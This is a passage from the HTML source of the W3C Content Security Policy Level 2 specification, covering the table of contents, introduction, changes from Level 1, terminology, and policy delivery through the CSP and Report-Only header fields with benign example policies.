href=\"#firing-securitypolicyviolationevent-events\"><span class=\"secno\">6.3</span> <span class=\"content\">Firing Violation Events</span></a>\n     </ul>\n    <li><a href=\"#directives\"><span class=\"secno\">7</span> <span class=\"content\">Directives</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#directive-base-uri\"><span class=\"secno\">7.1</span> <span class=\"content\"><code>base-uri</code></span></a>\n      <li><a href=\"#directive-child-src\"><span class=\"secno\">7.2</span> <span class=\"content\"><code>child-src</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#directive-child-src-nested\"><span class=\"secno\">7.2.1</span> <span class=\"content\">Nested Browsing Contexts</span></a>\n        <li><a href=\"#directive-child-src-workers\"><span class=\"secno\">7.2.2</span> <span class=\"content\">Workers</span></a>\n       </ul>\n      <li><a href=\"#directive-connect-src\"><span class=\"secno\">7.3</span> <span class=\"content\"><code>connect-src</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#connect-src-usage\"><span class=\"secno\">7.3.1</span> <span class=\"content\">Usage</span></a>\n       </ul>\n      <li><a href=\"#directive-default-src\"><span class=\"secno\">7.4</span> <span class=\"content\"><code>default-src</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#default-src-usage\"><span class=\"secno\">7.4.1</span> <span class=\"content\">Usage</span></a>\n       </ul>\n      <li><a href=\"#directive-font-src\"><span class=\"secno\">7.5</span> <span class=\"content\"><code>font-src</code></span></a>\n      <li><a href=\"#directive-form-action\"><span class=\"secno\">7.6</span> <span class=\"content\"><code>form-action</code></span></a>\n      <li><a href=\"#directive-frame-ancestors\"><span class=\"secno\">7.7</span> <span class=\"content\"><code>frame-ancestors</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#frame-ancestors-and-frame-options\"><span class=\"secno\">7.7.1</span> <span class=\"content\">\n        Relation to <code>X-Frame-Options</code>\n      </span></a>\n        <li><a href=\"#frame-ancestors-multiple-source-values\"><span class=\"secno\">7.7.2</span> <span class=\"content\">Multiple Host Source Values</span></a>\n       </ul>\n      <li><a href=\"#directive-frame-src\"><span class=\"secno\">7.8</span> <span class=\"content\"><code>frame-src</code></span></a>\n      <li><a href=\"#directive-img-src\"><span class=\"secno\">7.9</span> <span class=\"content\"><code>img-src</code></span></a>\n      <li><a href=\"#directive-media-src\"><span class=\"secno\">7.10</span> <span class=\"content\"><code>media-src</code></span></a>\n      <li><a href=\"#directive-object-src\"><span class=\"secno\">7.11</span> <span class=\"content\"><code>object-src</code></span></a>\n      <li><a href=\"#directive-plugin-types\"><span class=\"secno\">7.12</span> <span class=\"content\"><code>plugin-types</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#plugin-types-usage\"><span class=\"secno\">7.12.1</span> <span class=\"content\">Usage</span></a>\n        <li><a href=\"#plugin-types-predeclaration\"><span class=\"secno\">7.12.2</span> <span class=\"content\">\n        Predeclaration of expected media types\n      </span></a>\n       </ul>\n      <li><a href=\"#directive-report-uri\"><span class=\"secno\">7.13</span> <span class=\"content\"><code>report-uri</code></span></a>\n      <li><a href=\"#directive-sandbox\"><span class=\"secno\">7.14</span> <span class=\"content\"><code>sandbox</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#sandboxing-and-workers\"><span class=\"secno\">7.14.1</span> <span class=\"content\">Sandboxing and Workers</span></a>\n        <li><a href=\"#sandbox-usage\"><span class=\"secno\">7.14.2</span> <span class=\"content\">Usage</span></a>\n       </ul>\n      <li><a href=\"#directive-script-src\"><span class=\"secno\">7.15</span> <span class=\"content\"><code>script-src</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#script-src-nonce-usage\"><span class=\"secno\">7.15.1</span> <span class=\"content\">\n        Nonce usage for <code><span>script</span></code> elements\n      </span></a>\n        <li><a href=\"#script-src-hash-usage\"><span class=\"secno\">7.15.2</span> <span class=\"content\">\n        Hash usage for <code><span>script</span></code> elements\n      </span></a>\n       </ul>\n      <li><a href=\"#directive-style-src\"><span class=\"secno\">7.16</span> <span class=\"content\"><code>style-src</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#style-src-nonce-usage\"><span class=\"secno\">7.16.1</span> <span class=\"content\">\n        Nonce usage for <code><span>style</span></code> elements\n      </span></a>\n        <li><a href=\"#style-src-hash-usage\"><span class=\"secno\">7.16.2</span> <span class=\"content\">\n        Hash usage for <code><span>style</span></code> elements\n      </span></a>\n       </ul>\n     </ul>\n    <li><a href=\"#examples\"><span class=\"secno\">8</span> <span class=\"content\">Examples</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#example-policies\"><span class=\"secno\">8.1</span> <span class=\"content\">Sample Policy Definitions</span></a>\n      <li><a href=\"#example-violation-report\"><span class=\"secno\">8.2</span> <span class=\"content\">Sample Violation Report</span></a>\n     </ul>\n    <li><a href=\"#security-considerations\"><span class=\"secno\">9</span> <span class=\"content\">Security Considerations</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#security-css-parsing\"><span class=\"secno\">9.1</span> <span class=\"content\">Cascading Style Sheet (CSS) Parsing</span></a>\n      <li><a href=\"#security-redirects\"><span class=\"secno\">9.2</span> <span class=\"content\">Redirect Information Leakage</span></a>\n     </ul>\n    <li><a href=\"#implementation-considerations\"><span class=\"secno\">10</span> <span class=\"content\">Implementation Considerations</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#complications\"><span class=\"secno\">10.1</span> <span class=\"content\">Processing Complications</span></a>\n     </ul>\n    <li><a href=\"#iana-considerations\"><span class=\"secno\">11</span> <span class=\"content\">IANA Considerations</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#iana-content-security-policy\"><span class=\"secno\">11.1</span> <span class=\"content\">Content-Security-Policy</span></a>\n      <li><a href=\"#iana-content-security-policy-report-only\"><span class=\"secno\">11.2</span> <span class=\"content\">Content-Security-Policy-Report-Only</span></a>\n     </ul>\n    <li><a href=\"#acknowledgements\"><span class=\"secno\">12</span> <span class=\"content\">Acknowledgements</span></a>\n    <li><a href=\"#conformance\"><span class=\"secno\"></span> <span class=\"content\">Conformance</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#conventions\"><span class=\"secno\"></span> <span class=\"content\">Document conventions</span></a>\n      <li><a href=\"#conformant-algorithms\"><span class=\"secno\"></span> <span class=\"content\">Conformant Algorithms</span></a>\n      <li><a href=\"#conformance-classes\"><span class=\"secno\"></span> <span class=\"content\">Conformance Classes</span></a>\n     </ul>\n    <li><a href=\"#index\"><span class=\"secno\"></span> <span class=\"content\">Index</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#index-defined-here\"><span class=\"secno\"></span> <span class=\"content\">Terms defined by this specification</span></a>\n      <li><a href=\"#index-defined-elsewhere\"><span class=\"secno\"></span> <span class=\"content\">Terms defined by reference</span></a>\n     </ul>\n    <li><a href=\"#references\"><span class=\"secno\"></span> <span class=\"content\">References</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#normative\"><span class=\"secno\"></span> <span class=\"content\">Normative References</span></a>\n      <li><a href=\"#informative\"><span class=\"secno\"></span> <span class=\"content\">Informative References</span></a>\n     </ul>\n    <li><a href=\"#idl-index\"><span class=\"secno\"></span> <span class=\"content\">IDL Index</span></a>\n   </ul></div>\n</nav>\n  <main>\n\n\n\n\n\n\n\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"1\" id=\"intro\"><span class=\"secno\">1. </span><span class=\"content\">Introduction</span><a class=\"self-link\" href=\"#intro\"></a></h2>\n\n\n    <p><em>This section is not normative.</em></p>\n\n\n    <p>This document defines Content Security Policy, a mechanism web applications\n  can use to mitigate a broad class of content injection vulnerabilities, such\n  as cross-site scripting (XSS). Content Security Policy is a declarative policy\n  that lets the authors (or server administrators) of a web application inform\n  the client about the sources from which the application expects to load\n  resources.</p>\n\n\n    <p>To mitigate XSS attacks, for example, a web application can declare that it\n  only expects to load script from specific, trusted sources. This declaration\n  allows the client to detect and block malicious scripts injected into the\n  application by an attacker.</p>\n\n\n    <p>Content Security Policy (CSP) is not intended as a first line of defense\n  against content injection vulnerabilities. Instead, CSP is best used as\n  defense-in-depth, to reduce the harm caused by content injection attacks. As\n  a first line of defense against content injection, server operators should\n  validate their input and encode their output.</p>\n\n\n    <p>There is often a non-trivial amount of work required to apply CSP to an\n  existing web application. To reap the greatest benefit, authors will need to\n  move all inline script and style out-of-line, for example into external\n  scripts, because the user agent cannot determine whether an inline script\n  was injected by an attacker.</p>\n\n\n    <p>To take advantage of CSP, a web application opts into using CSP by supplying a\n  <code>Content-Security-Policy</code> HTTP header. Such policies apply to the\n  current resource representation only. To supply a policy for an entire site,\n  the server needs to supply a policy with each resource representation.</p>\n\n  \n    <h3 class=\"heading settled\" data-level=\"1.1\" id=\"changes-from-level-1\"><span class=\"secno\">1.1. </span><span class=\"content\">Changes from Level 1</span><a class=\"self-link\" href=\"#changes-from-level-1\"></a></h3>\n\n\n    <p>This document describes an evolution of the\n  <a href=\"https://www.w3.org/TR/CSP/\">Content Security Policy specification</a>.\n  Level 2 makes two breaking changes from Level 1, and adds support for a number\n  of new directives and capabilities which are summarized below:</p>\n\n  \n    <ol>\n    \n     <li>\n      The following changes are backwards incompatible with the majority of\n      user agent’s implementations of CSP 1:\n\n      \n      <ol>\n        \n       <li>\n          The path component of a source expression is now ignored if the\n          resource being loaded is the result of a redirect, as described in\n          <a href=\"#source-list-paths-and-redirects\">§4.2.2.3 Paths and Redirects</a>.\n\n\n        <p class=\"note\" role=\"note\">Note: Paths are technically new in CSP2, but they were already\n          implemented in many user agents before this revision of CSP was\n          completed, so noting the change here seems reasonable.</p>\n        \n        \n       \n        \n       <li>\n          A <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>’s ability to load Workers is now controlled\n          via <a data-link-type=\"dfn\" href=\"#child_src\"><code>child-src</code></a> rather than\n          <a data-link-type=\"dfn\" href=\"#script_src\"><code>script-src</code></a>.\n        \n       \n        \n       <li>\n          Workers now have their own policy, separate from the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a> which loaded them. This is described in\n          <a href=\"#processing-model-workers\">§5.1 Workers</a>.\n        \n       \n      \n      </ol>\n      \n    \n     \n    \n     <li>\n      The following directives are brand new in this revision:\n\n      \n      <ol>\n        \n       <li>\n          <a data-link-type=\"dfn\" href=\"#base_uri\"><code>base-uri</code></a> controls the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a>’s ability to specify the <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#document-base-url\">document base\n          URL</a>.\n        \n       \n        \n       <li>\n          <a data-link-type=\"dfn\" href=\"#child_src\"><code>child-src</code></a> deprecates and replaces\n          <a data-link-type=\"dfn\" href=\"#frame_src\"><code>frame-src</code></a>, controlling the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a>’s ability to embed frames, and to load Workers.\n        \n       \n        \n       <li>\n          <a data-link-type=\"dfn\" href=\"#form_action\"><code>form-action</code></a> controls the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a>’s ability to submit forms.\n        \n       \n        \n       <li>\n          <a data-link-type=\"dfn\" href=\"#frame_ancestors\"><code>frame-ancestors</code></a> controls the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a>’s ability be embedded in other documents. It is meant\n          to supplant the <code>X-Frame-Options</code> HTTP request header.\n        \n       \n        \n       <li>\n          <a data-link-type=\"dfn\" href=\"#plugin_types\"><code>plugin-types</code></a> controls the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a>’s ability to load specific types of plugins.\n        \n       \n      \n      </ol>\n      \n    \n     \n    \n     <li>\n      Individual inline scripts and stylesheets may be whitelisted via nonces\n      (as described in <a href=\"#source-list-valid-nonces\">§4.2.4 Valid Nonces</a>) and hashes (as described\n      in <a href=\"#source-list-valid-hashes\">§4.2.5 Valid Hashes</a>).\n    \n     \n    \n     <li>\n      A <code class=\"idl\"><a data-link-type=\"idl\" href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a></code> is fired upon violations, as described\n      in <a href=\"#firing-securitypolicyviolationevent-events\">§6.3 Firing Violation Events</a>.\n    \n     \n    \n     <li>\n      A number of new fields were added to violation reports (both those POSTED\n      via <a data-link-type=\"dfn\" href=\"#report_uri\"><code>report-uri</code></a>, and those handed to the DOM via\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a></code> events. These include\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-effectivedirective\">effectiveDirective</a></code>,\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-statuscode\">statusCode</a></code>,\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-sourcefile\">sourceFile</a></code>,\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-linenumber\">lineNumber</a></code>, and\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-columnnumber\">columnNumber</a></code>.\n    \n     \n    \n     <li>\n      Certain flags present in the <code><a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a></code> directive now\n      affect Worker creation, as described in <a href=\"#sandboxing-and-workers\">§7.14.1 Sandboxing and Workers</a>.\n    \n     \n  \n    </ol>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"2\" id=\"key-concepts\"><span class=\"secno\">2. </span><span class=\"content\">Key Concepts and Terminology</span><a class=\"self-link\" href=\"#key-concepts\"></a></h2>\n\n  \n    <h3 class=\"heading settled\" data-level=\"2.1\" id=\"terms-defined-here\"><span class=\"secno\">2.1. </span><span class=\"content\">Terms defined by this specification</span><a class=\"self-link\" href=\"#terms-defined-here\"></a></h3>\n  \n    <dl>\n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-export=\"\" data-local-lt=\"policy\" id=\"security-policy\">security policy<a class=\"self-link\" href=\"#security-policy\"></a></dfn>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-export=\"\" data-local-lt=\"directive\" id=\"security-policy-directive\">security policy directive<a class=\"self-link\" href=\"#security-policy-directive\"></a></dfn>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-export=\"\" data-local-lt=\"directive name\" id=\"security-policy-directive-name\">security policy directive name<a class=\"self-link\" href=\"#security-policy-directive-name\"></a></dfn>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-export=\"\" data-local-lt=\"directive value\" id=\"security-policy-directive-value\">security policy directive value<a class=\"self-link\" href=\"#security-policy-directive-value\"></a></dfn>\n    \n     \n    \n     <dd>\n      A <strong>security policy</strong> refers to both a set of security\n      preferences for restrictions within which content can operate, and\n      to a fragment of text that codifies or transmits these preferences.\n      For example, the following string is a policy which restricts script\n      and object content:\n\n      \n      <div class=\"example\" id=\"example-f8c8229d\"><a class=\"self-link\" href=\"#example-f8c8229d\"></a>\n        <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self'; <a data-link-type=\"dfn\" href=\"#object_src\">object-src</a> 'none'</code>\n      </div>\n      \n\n\n      <p>Security policies contain a set of <strong>security policy\n      directives</strong> (<code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> and\n      <code><a data-link-type=\"dfn\" href=\"#object_src\">object-src</a></code> in the example above), each responsible\n      for declaring the restrictions for a particular resource type, or\n      manipulating a specific aspect of the policy’s restrictions. The list\n      of directives defined by this specification can be found in\n      <a href=\"#directives\">§7 Directives</a>.</p>\n      \n\n\n      <p>Each directives has a <strong>name</strong> and a <strong>value</strong>;\n      a detailed grammar can be found in <a href=\"#syntax-and-algorithms\">§4 Syntax and Algorithms</a>.</p>\n      \n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-export=\"\" id=\"protected-resource\">protected resource<a class=\"self-link\" href=\"#protected-resource\"></a></dfn>\n    \n     \n    \n     <dd>\n      A <a data-link-type=\"dfn\" href=\"#security-policy\">security policy</a> is applied by a user agent to a specific\n      <a data-link-type=\"dfn\" href=\"#resource-representation\">resource representation</a>, known as the <strong>protected\n      resource</strong>. See <a href=\"#policy-delivery\">§3 Policy Delivery</a> for details regarding\n      the mechanisms by which policies may be applied to a protected\n      resource.\n    \n     \n  \n    </dl>\n\n  \n    <h3 class=\"heading settled\" data-level=\"2.2\" id=\"terms-defined-by-reference\"><span class=\"secno\">2.2. </span><span class=\"content\">Terms defined by reference</span><a class=\"self-link\" href=\"#terms-defined-by-reference\"></a></h3>\n  \n    <dl>\n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"globally-unique-identifier\">globally unique identifier<a class=\"self-link\" href=\"#globally-unique-identifier\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined in\n      <a href=\"https://tools.ietf.org/html/rfc6454#section-2.3\">Section 2.3 of\n      the Origin specification</a>. <a data-link-type=\"biblio\" href=\"#biblio-rfc6454\">[RFC6454]</a>\n\n\n      <p class=\"note\" role=\"note\">NOTE: URLs which do not use hierarchical elements as naming authorities\n      (<code>data:</code>, for instance) have <a data-link-type=\"dfn\" href=\"#origin\">origins</a> which are globally\n      unique identifiers.</p>\n      \n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"http-200-response\">HTTP 200 response<a class=\"self-link\" href=\"#http-200-response\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined in\n      <a href=\"https://tools.ietf.org/html/rfc7231#section-6.3.1\">Section\n      6.3.1 of HTTP/1.1 -- Semantics and Content</a>. <a data-link-type=\"biblio\" href=\"#biblio-rfc7231\">[RFC7231]</a>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"json-object\">JSON object<a class=\"self-link\" href=\"#json-object\"></a></dfn>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"json-stringification\">JSON stringification<a class=\"self-link\" href=\"#json-stringification\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined in the JSON specification. <a data-link-type=\"biblio\" href=\"#biblio-rfc4627\">[RFC4627]</a>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"origin\">origin<a class=\"self-link\" href=\"#origin\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined by the Origin specification. <a data-link-type=\"biblio\" href=\"#biblio-rfc6454\">[RFC6454]</a>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-local-lt=\"representation\" data-noexport=\"\" id=\"resource-representation\">resource representation<a class=\"self-link\" href=\"#resource-representation\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined in <a href=\"https://tools.ietf.org/html/rfc7231#section-3\">Section\n      3 of HTTP/1.1 -- Semantics and Content</a>. <a data-link-type=\"biblio\" href=\"#biblio-rfc7231\">[RFC7231]</a>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"url\">URL<a class=\"self-link\" href=\"#url\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined by <a data-link-type=\"biblio\" href=\"#biblio-url\">[URL]</a>.\n    \n     \n    \n     <dt><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"sha_256\">SHA-256<a class=\"self-link\" href=\"#sha_256\"></a></dfn>\n     \n    \n     <dt><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"sha_384\">SHA-384<a class=\"self-link\" href=\"#sha_384\"></a></dfn>\n     \n    \n     <dt><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"sha_512\">SHA-512<a class=\"self-link\" href=\"#sha_512\"></a></dfn>\n     \n    \n     <dd>\n      These digest algorithms are defined by the NIST. <a data-link-type=\"biblio\" href=\"#biblio-fips180\">[FIPS180]</a>\n    \n     \n  \n    </dl>\n\n  \n    <h3 class=\"heading settled\" data-level=\"2.3\" id=\"html-concepts\"><span class=\"secno\">2.3. </span><span class=\"content\">Relevant Concepts from HTML</span><a class=\"self-link\" href=\"#html-concepts\"></a></h3>\n\n\n    <p>The <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/obsolete.html#the-applet-element\">applet</a></code>, <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-audio-element\">audio</a></code>, <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code>, <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code>, <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-img-element\">img</a></code>, <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a></code>,\n  <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code>, <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code>, <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-source-element\">source</a></code>, <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-track-element\">track</a></code>, and <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-video-element\">video</a></code> are defined in\n  <a data-link-type=\"biblio\" href=\"#biblio-html5\">[HTML5]</a>.</p>\n\n\n    <p>The terms <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#auxiliary-browsing-context\">auxiliary browsing contexts</a>,\n  <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#opener-browsing-context\">opener browsing context</a>, and <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing contexts</a> are\n  defined in the HTML5 specification. <a data-link-type=\"biblio\" href=\"#biblio-html5\">[HTML5]</a></p>\n\n\n    <p>A <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#plugin\">plugin</a> is defined in the HTML5 specification. <a data-link-type=\"biblio\" href=\"#biblio-html5\">[HTML5]</a></p>\n\n\n    <p>The <code>&lt;&lt;@font-face>></code> Cascading Style Sheets (CSS) rule is defined\n  in the CSS Fonts Module Level 3 specification. <a data-link-type=\"biblio\" href=\"#biblio-css3-fonts\">[CSS3-FONTS]</a></p>\n\n\n    <p>The <code>XMLHttpRequest</code> object is defined in the\n  <code>XMLHttpRequest</code> specification. <a data-link-type=\"biblio\" href=\"#biblio-xmlhttprequest\">[XMLHTTPREQUEST]</a></p>\n\n\n    <p>The <code>WebSocket</code> object is defined in the <code>WebSocket</code>\n  specification. <a data-link-type=\"biblio\" href=\"#biblio-websockets\">[WEBSOCKETS]</a></p>\n\n\n    <p>The <code>EventSource</code> object is defined in the <code>EventSource</code>\n  specification. <a data-link-type=\"biblio\" href=\"#biblio-eventsource\">[EVENTSOURCE]</a></p>\n\n\n    <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"runs-a-worker\">runs a worker<a class=\"self-link\" href=\"#runs-a-worker\"></a></dfn> algorithm is\n  <a href=\"https://www.w3.org/TR/workers/#run-a-worker\">defined in the Web\n  Workers spec</a>. <a data-link-type=\"biblio\" href=\"#biblio-workers\">[WORKERS]</a></p>\n\n\n    <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"callable\">callable<a class=\"self-link\" href=\"#callable\"></a></dfn> refers to an object whose interface\n  has one or more <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"callers\">callers<a class=\"self-link\" href=\"#callers\"></a></dfn> as defined in the <a href=\"https://www.w3.org/TR/2010/WD-WebIDL-20101021/#idl-callers\">Web\n  IDL</a> specification <a data-link-type=\"biblio\" href=\"#biblio-webidl\">[WEBIDL]</a>.</p>\n\n  \n    <h3 class=\"heading settled\" data-level=\"2.4\" id=\"grammar\"><span class=\"secno\">2.4. </span><span class=\"content\">Grammatical Concepts</span><a class=\"self-link\" href=\"#grammar\"></a></h3>\n\n\n    <p>The Augmented Backus-Naur Form (ABNF) notation used in this document is\n  specified in RFC5234. <a data-link-type=\"biblio\" href=\"#biblio-abnf\">[ABNF]</a></p>\n\n\n    <p>This document also uses the ABNF extension \"#rule\" as defined in\n  <a href=\"https://tools.ietf.org/html/rfc7230#section-7\">Section 7</a>\n  of HTTP/1.1 -- Message Syntax and Routing. <a data-link-type=\"biblio\" href=\"#biblio-rfc7230\">[RFC7230]</a></p>\n\n\n    <p>The following core rules are included by reference, as defined in\n  <a href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\">Appendix B.1</a>\n  of <a data-link-type=\"biblio\" href=\"#biblio-abnf\">[ABNF]</a>: <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"alpha\">ALPHA<a class=\"self-link\" href=\"#alpha\"></a></dfn></code> (letters),\n  <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"digit\">DIGIT<a class=\"self-link\" href=\"#digit\"></a></dfn></code> (decimal 0-9), <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"wsp\">WSP<a class=\"self-link\" href=\"#wsp\"></a></dfn></code>\n  (white space) and <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"vchar\">VCHAR<a class=\"self-link\" href=\"#vchar\"></a></dfn></code> (printing characters).</p>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"3\" id=\"policy-delivery\"><span class=\"secno\">3. </span><span class=\"content\">Policy Delivery</span><a class=\"self-link\" href=\"#policy-delivery\"></a></h2>\n\n\n    <p>The server delivers a <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a> to the user agent via an HTTP response\n  header (defined in <a href=\"#content-security-policy-header-field\">§3.1 Content-Security-Policy Header Field</a> and\n  <a href=\"#content-security-policy-report-only-header-field\">§3.2 Content-Security-Policy-Report-Only Header Field</a>) or an HTML\n  <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element (defined in <a href=\"#delivery-html-meta-element\">§3.3 HTML meta Element</a>).</p>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.1\" id=\"content-security-policy-header-field\"><span class=\"secno\">3.1. </span><span class=\"content\">\n      <code>Content-Security-Policy</code> Header Field\n    </span><a class=\"self-link\" href=\"#content-security-policy-header-field\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-export=\"\" id=\"content_security_policy\">Content-Security-Policy<a class=\"self-link\" href=\"#content_security_policy\"></a></dfn></code> header field is\n    the preferred mechanism for delivering a policy. The grammar is as follows:</p>\n     \n\n    \n     <pre>\"Content-Security-Policy:\" 1#<a data-link-type=\"dfn\" href=\"#policy_token\">policy-token</a>\n</pre>\n     \n\n\n     <p>For example, a response might include the following header field:</p>\n     \n\n    \n     <div class=\"example\" id=\"example-be526382\"><a class=\"self-link\" href=\"#example-be526382\"></a>\n      <code>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self'</code>\n    </div>\n     \n\n\n     <p>A server MUST NOT send more than one HTTP header field named\n    <code>Content-Security-Policy</code> with a given <a data-link-type=\"dfn\" href=\"#resource-representation\">resource\n    representation</a>.</p>\n     \n\n\n     <p>A server MAY send different <code>Content-Security-Policy</code>\n    header field values with different <a data-link-type=\"dfn\" href=\"#resource-representation\">representations</a> of the same\n    resource or with different resources.</p>\n     \n\n\n     <p>Upon receiving an HTTP response containing at least one\n    <code>Content-Security-Policy</code> header field, the user agent\n    MUST <a data-link-type=\"dfn\" href=\"#enforce\">enforce</a> each of the policies contained in each such\n    header field.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.2\" id=\"content-security-policy-report-only-header-field\"><span class=\"secno\">3.2. </span><span class=\"content\">\n      <code>Content-Security-Policy-Report-Only</code> Header Field\n    </span><a class=\"self-link\" href=\"#content-security-policy-report-only-header-field\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-export=\"\" id=\"content_security_policy_report_only\">Content-Security-Policy-Report-Only<a class=\"self-link\" href=\"#content_security_policy_report_only\"></a></dfn></code>\n    header field lets servers experiment with policies by monitoring (rather\n    than enforcing) a policy. The grammar is as follows:</p>\n     \n\n    \n     <pre>\"Content-Security-Policy-Report-Only:\" 1#<a data-link-type=\"dfn\" href=\"#policy_token\">policy-token</a>\n</pre>\n     \n\n\n     <p>For example, server operators might wish to develop their\n    security policy iteratively. The operators can deploy a report-only\n    policy based on their best estimate of how their site behaves:</p>\n     \n\n    \n     <div class=\"example\" id=\"example-77886cbd\"><a class=\"self-link\" href=\"#example-77886cbd\"></a>\n      \n      <pre>Content-Security-Policy-Report-Only: <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self';\n                                     <a data-link-type=\"dfn\" href=\"#report_uri\">report-uri</a> /csp-report-endpoint/\n</pre>\n      \n    \n     </div>\n     \n\n\n     <p>If their site violates this policy the user agent will <a data-link-type=\"dfn\" href=\"#send-violation-reports\">send violation\n    reports</a> to the URL specified in the policy’s <a data-link-type=\"dfn\" href=\"#report_uri\">report-uri</a>\n    directive, but allow the violating resources to load regardless. Once a site\n    has confidence that the policy is appropriate, they can start enforcing the\n    policy using the <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code> header field.</p>\n     \n\n\n     